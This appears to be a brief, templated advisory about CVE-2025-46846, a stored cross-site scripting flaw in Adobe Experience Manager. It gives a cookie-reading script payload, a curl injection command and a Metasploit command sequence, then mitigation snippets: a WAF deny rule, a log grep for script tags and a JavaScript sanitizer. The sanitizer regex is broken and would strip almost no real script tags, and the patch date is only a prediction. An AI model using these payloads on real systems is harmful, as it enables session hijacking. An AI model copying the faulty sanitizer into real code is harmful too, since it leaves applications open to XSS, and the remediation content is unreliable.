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How CVE-2025-46846 Works
CVE-2025-46846 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) versions 6.5.22 and earlier. Attackers with low privileges can inject malicious JavaScript into vulnerable form fields, which persists in the database. When a victim accesses the compromised page, the script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions. The exploit occurs due to improper input sanitization in AEM’s web form handlers, allowing arbitrary script injection through crafted payloads.
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Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/13/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Payload Example:
<script>alert(document.cookie)</script>
2. Exploit via Curl:
curl -X POST -d "input=<malicious_script>" http://target-aem-instance/content/forms/form.html
3. Automated Testing with Metasploit:
use exploit/multi/http/aem_xss_injection set RHOSTS <target_IP> set TARGETURI /content/forms exploit
Protection & Mitigation
1. Input Sanitization:
function sanitize(input) {
return input.replace(/<script.?>.?<\/script>/gi, '');
}
2. WAF Rule (ModSecurity):
SecRule ARGS "@rx <script" "id:1005,deny,msg:'XSS Attempt'"
3. AEM Patch Verification:
aemcli --version | grep "6.5.23"
4. Temporary Workaround:
- Disable vulnerable form fields via AEM console.
- Apply Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'
Log Analysis Commands
grep "POST /content/forms" /var/log/aem/access.log | grep -i "<script"
References
Sources:
Reported By: nvd.nist.gov
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